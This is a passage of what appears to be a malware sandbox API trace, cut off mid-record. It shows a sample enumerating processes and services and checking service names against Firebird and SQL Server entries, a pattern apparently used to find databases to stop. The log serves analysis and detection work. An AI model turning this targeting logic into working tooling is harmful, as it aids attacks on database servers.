11 [0160.396] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.397] lstrlenW (lpString="svchost.exe") returned 11 [0160.397] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.397] lstrlenW (lpString="svchost.exe") returned 11 [0160.397] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0160.397] lstrlenW (lpString="audiodg.exe") returned 11 [0160.397] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.398] lstrlenW (lpString="svchost.exe") returned 11 [0160.398] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.398] lstrlenW (lpString="svchost.exe") returned 11 [0160.398] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0160.398] lstrlenW (lpString="spoolsv.exe") returned 11 [0160.399] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0160.399] lstrlenW (lpString="taskhost.exe") returned 12 [0160.399] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.399] lstrlenW (lpString="svchost.exe") returned 11 [0160.399] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0160.401] lstrlenW (lpString="userinit.exe") returned 12 [0160.401] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0160.401] lstrlenW (lpString="dwm.exe") returned 7 [0160.401] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0160.402] lstrlenW (lpString="explorer.exe") returned 12 [0160.402] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0160.402] lstrlenW (lpString="3G6885.exe") returned 10 [0160.402] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0160.402] lstrlenW (lpString="reader_sl.exe") returned 13 [0160.402] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="drvinst.exe")) returned 1 [0160.403] lstrlenW (lpString="drvinst.exe") returned 11 [0160.403] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0160.403] lstrlenW (lpString="taskhost.exe") returned 12 [0160.403] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0160.404] lstrlenW (lpString="consent.exe") returned 11 [0160.404] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0160.404] lstrlenW (lpString="dllhost.exe") returned 11 [0160.404] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0160.404] lstrlenW (lpString="dllhost.exe") returned 11 [0160.404] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0160.405] CloseHandle (hObject=0x348) returned 1 [0160.405] Sleep (dwMilliseconds=0x1f4) [0161.204] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d8978 [0161.205] EnumServicesStatusExW (in: hSCManager=0x41d8978, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0161.205] GetLastError () returned 0xea [0161.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x11e4) returned 0x41f77d0 [0161.205] EnumServicesStatusExW (in: hSCManager=0x41d8978, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f77d0, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f77d0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0161.206] CloseServiceHandle (hSCObject=0x41d8978) returned 1 [0161.206] lstrlenW (lpString="Appinfo") returned 7 [0161.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0161.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0161.206] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0161.206] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0161.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0161.207] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0161.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0161.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0161.207] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0161.207] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0161.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0161.207] lstrlenW (lpString="AudioSrv") returned 8 [0161.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0161.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0161.207] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0161.207] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0161.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0161.207] lstrlenW (lpString="BFE") returned 3 [0161.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0161.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0161.207] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0161.207] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0161.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0161.207] lstrlenW (lpString="CryptSvc") returned 8 [0161.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0161.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0161.207] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0161.207] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0161.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0161.207] lstrlenW (lpString="CscService") returned 10 [0161.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0161.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0161.208] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0161.208] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0161.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0161.208] lstrlenW (lpString="DcomLaunch") returned 10 [0161.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0161.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0161.208] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0161.208] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0161.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0161.208] lstrlenW (lpString="Dhcp") returned 4 [0161.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0161.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0161.208] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0161.208] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0161.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0161.208] lstrlenW (lpString="Dnscache") returned 8 [0161.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0161.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0161.208] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0161.208] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0161.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0161.208] lstrlenW (lpString="DPS") returned 3 [0161.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0161.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0161.209] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0161.209] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0161.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0161.209] lstrlenW (lpString="eventlog") returned 8 [0161.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0161.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0161.209] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0161.209] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0161.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0161.209] lstrlenW (lpString="EventSystem") returned 11 [0161.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0161.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0161.209] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0161.209] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0161.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0161.209] lstrlenW (lpString="gpsvc") returned 5 [0161.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0161.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0161.210] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0161.210] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0161.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0161.210] lstrlenW (lpString="iphlpsvc") returned 8 [0161.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0161.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0161.210] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0161.210] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0161.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0161.210] lstrlenW (lpString="LanmanServer") returned 12 [0161.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0161.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0161.210] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0161.210] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0161.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0161.210] lstrlenW (lpString="LanmanWorkstation") returned 17 [0161.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0161.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0161.210] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0161.210] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0161.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0161.210] lstrlenW (lpString="lmhosts") returned 7 [0161.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0161.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0161.211] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0161.211] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0161.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0161.211] lstrlenW (lpString="MMCSS") returned 5 [0161.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0161.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0161.211] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0161.211] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0161.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0161.211] lstrlenW (lpString="MpsSvc") returned 6 [0161.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0161.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0161.211] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0161.211] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0161.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0161.211] lstrlenW (lpString="Netman") returned 6 [0161.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0161.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0161.211] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0161.211] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0161.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0161.211] lstrlenW (lpString="netprofm") returned 8 [0161.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0161.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0161.212] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0161.212] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0161.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0161.212] lstrlenW (lpString="NlaSvc") returned 6 [0161.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0161.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0161.212] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0161.212] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0161.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0161.212] lstrlenW (lpString="nsi") returned 3 [0161.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0161.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0161.212] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0161.212] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0161.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0161.212] lstrlenW (lpString="PcaSvc") returned 6 [0161.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0161.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0161.212] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0161.212] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0161.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0161.212] lstrlenW (lpString="PlugPlay") returned 8 [0161.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0161.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0161.213] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0161.213] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0161.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0161.213] lstrlenW (lpString="Power") returned 5 [0161.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0161.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0161.213] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0161.213] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0161.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0161.213] lstrlenW (lpString="ProfSvc") returned 7 [0161.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0161.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0161.213] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0161.213] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0161.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0161.213] lstrlenW (lpString="RpcEptMapper") returned 12 [0161.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0161.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0161.213] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0161.213] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0161.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0161.213] lstrlenW (lpString="RpcSs") returned 5 [0161.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0161.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0161.214] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0161.214] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0161.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0161.214] lstrlenW (lpString="SamSs") returned 5 [0161.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0161.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0161.214] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0161.214] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0161.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0161.214] lstrlenW (lpString="Schedule") returned 8 [0161.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0161.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0161.214] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0161.214] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0161.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0161.214] lstrlenW (lpString="SENS") returned 4 [0161.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0161.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0161.214] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0161.214] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0161.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0161.214] lstrlenW (lpString="ShellHWDetection") returned 16 [0161.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0161.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0161.214] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0161.215] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0161.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0161.215] lstrlenW (lpString="Spooler") returned 7 [0161.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0161.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0161.215] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0161.215] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0161.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0161.215] lstrlenW (lpString="SysMain") returned 7 [0161.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0161.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0161.215] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0161.215] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0161.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0161.215] lstrlenW (lpString="Themes") returned 6 [0161.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0161.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0161.215] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0161.215] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0161.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0161.215] lstrlenW (lpString="TrkWks") returned 6 [0161.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0161.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0161.215] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0161.215] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0161.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0161.215] lstrlenW (lpString="UxSms") returned 5 [0161.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0161.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0161.216] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0161.216] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0161.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0161.216] lstrlenW (lpString="WdiServiceHost") returned 14 [0161.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0161.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0161.216] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0161.216] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0161.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0161.216] lstrlenW (lpString="WdiSystemHost") returned 13 [0161.216] lstrcmpiW 